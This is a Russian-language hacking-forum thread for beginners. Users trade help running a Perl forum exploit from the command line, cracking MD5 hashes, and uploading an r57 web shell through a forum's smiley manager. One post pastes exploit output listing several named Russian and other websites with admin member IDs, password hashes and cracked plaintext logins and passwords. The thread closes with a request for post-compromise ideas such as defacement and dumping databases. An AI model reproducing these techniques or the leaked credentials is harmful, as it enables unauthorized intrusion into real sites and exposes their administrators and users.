Простейшие способы взлома.(Начинающим)

РедБольшевик,
Моя статья по хешам - https://xaker.name/forvb/showthread.php?t=6803

 

FrenCH,
Если по завершению закрывается окно, то есть вероятность что у тебя запушено сразу несколько cmd...

 

Anvil: Помогите пожалуй ста перевести вот этот хэш:81250e9263df8fc1a41175514e0c482c

 

подскажите плиз как шелл залить. я счас в админке. через смайлы не катит, ругается еррором. что делать???

и еще, одну базу слил себе она примерно 300кб, а другую 1.2 мб весит, чето дойти не может

 

CZX,
по взлому хэшей туда: https://xaker.name/forvb/showthread...2%EA%E0+%F5%FD%F8%E5%E9+%ED%E5%EC%ED%EE%E3%EE

 

Anvil огромное спасибо за данную статейку,благодаря тебе можно теперь с лёгкостью взломать многие форумы почти каждому userу.

 

Anvil,
а что делать с файлом bat и ище вопрос я зделал все как написано ввел код в командную строку аона открылась потом чето ищет и резко тухнит подскажи почему????

Добавлено через 2 часа 26 минут
все теперь все работает а как разшыфровать хеш???ты давал ссылку на просто брут но она непашет!

 

Так, есть вопрос, а если форум, как это в основном и получается, лежит в папке www.sait.com/forum/ - .то тогда как указать путь в командной строке?
c:\perl\bin\perl c:\eplt.pl sait.com/forum/ // 1 0

или

c:\perl\bin\perl c:\eplt.pl sait.com\forum\ // 1 0

 

так

 

Вот что у меня получилось

==============================================================

[~] SERVER : forum.bogorodck.com
MEMBER ID : 1
PASSWORD : 134a9dc4fd8edaa5ad4c6532e2828ddf
Login: Administrator
Password: 74369812

==============================================================

[~] SERVER : dentiforum.ru
MEMBER ID : 1
PASSWORD : 7b809a5515d4122d9d92fc12a3c74324
Login: admin
Password: jcrfh

==============================================================

[~] SERVER : priop.ru
MEMBER ID : 1
PASSWORD : 47de4a20db1e739ae52f712bce0364c7
Login: BegemoT
Password: 21kezzop

[~] SERVER : priop.ru
MEMBER ID : 110
PASSWORD : 25a6fc79be69b24c3a9de0140bf6761a
Login: ~FoX~
PAssword: 5350059

[~] SERVER : priop.ru
MEMBER ID : 2
PASSWORD : c33367701511b4f6020ec61ded352059
Login: Мышка
Password: 654321

===============================================================
[~] SERVER : pub.abware.net
MEMBER ID : 1
PASSWORD : e7496863204f1fe5a0da716502fa54ad
Login: Mr Creosote
Password: gumby
=================================================================

ну есть еще парачка паролей, Хэш которых мне расшифровать не удалось

[вырезано по просьбе владельца сайта] (с) Koller

==============================================================

[~] SERVER : 19th.ru
MEMBER ID : 1
PASSWORD : 1eb7f1a37f5d3057f1957e3d7aa74fce

==============================================================

[~] SERVER : rod-doma.ru
MEMBER ID : 1
PASSWORD : b330005d7edcd8e87d7423352ca36876

==============================================================

[~] SERVER : forum.f1today.ru
MEMBER ID : 1
PASSWORD : facd39c46758d616aa6f867203848771

===============================================================

[~] SERVER : forum.gran-it.ru
MEMBER ID : 1
PASSWORD : fd40555cb6dde8c35c8ff3d0a66199af

 

Так:
c:\perl\bin\perl c:\eplt.pl sait.com /forum/ 1 0
Там же в споиле всё написано.

 

подправить родной код движка. Для этого:

править какой файл? wwwroot/index.html? или
wwwroot/forum/index.php wwwroot/forum/admin.php?????

 

А как быть с этим:
MEMBER ID : 1
PASSWORD : ********************************
Вместо хэша звездочки, форум мертвый, все посты стерты. Я так думаю, что эту дырку уже поюзали, но почему звездочки вместо хэша?

 

Anvil,
а что делать если я уже в админке, залил шел (r57shell.php) через смайлы, иду в www.site.net/forum/html/emoticons/r57shell.php а мне говорят
"Internal Server Error
The server encountered an internal error or misconfiguration and was unable to complete your request.
Please contact the server administrator, advancedsupport@site.com and inform them of the time the error occurred, and anything you might have done that may have caused the error.

More information about this error may be available in the server error log.
Apache/2.0.51 (Fedora) Server at www.site.net Port 80" ???
пробовал заливать какойто другой пиашпи шелл, но не проходит=((

 

Вероятней wwwroot/index.html, если Вы не хотите менять код форумного движка...

Либо сплойт не сработал потому как не подходит под тот форум на котором Вы его использовали, либо сплойт с "защитой от дураков", то бишь в коде осознанны допущенны ошибки чтоб скрипткидди его не использовали

Заливка шелла невозможна вовсе, либо Вы делаете что-то не так

 

В каком смысле невозможна?
а делаю вроде бы всё правильно : захожу на админку, захожу на менеджер смайлов, заливаю шелл с компа, ни какой ошибки не выскакивает, шел появляется в списке смайлов ( что как я думаю свидетельствует о том что он закачался на сайт) потом пишу в адр. строке адрес шела (forum/html/emoticons/r57shell.php) и хренак!=) не работает. смайлы точно лежат в этой директории я проверял.

 

Врядли поможет, но мало ли...

 

Koller,
впринципе продвижение есть=) если делать *.html и вставлять в него шелл, вся эта конструкция грузиться но я думая изза обьёма недогружается, в общем выглядит примерно так www.pomoshchelu.ucoz.ru/ewed.jpg
если есть ещё какието мысли поделись плиз=)

 

В html он загружается полностью, но так как шелл написан естественно на php, то выполняется так как показано на скриншоте...так быть и должно...
Видимо идет парсинг php файлов в той директории либо с правами косяк...о чем я говорил выше...
Бросайте это гиблое дело

 

жаль, но всё таки ещё пяток админок разных сайтов у меня есть, и всётаки я не представляю что делать после заливки шелла ( только дефайс, слив баз или удаление их, что не очень приветствуется). напиши пож хотя бы неподробный перечень того что можно зделать, как это зделать я уже попробую поискать по гуглу сам...
ЗЫ: прошу прощения за такое количество вопросов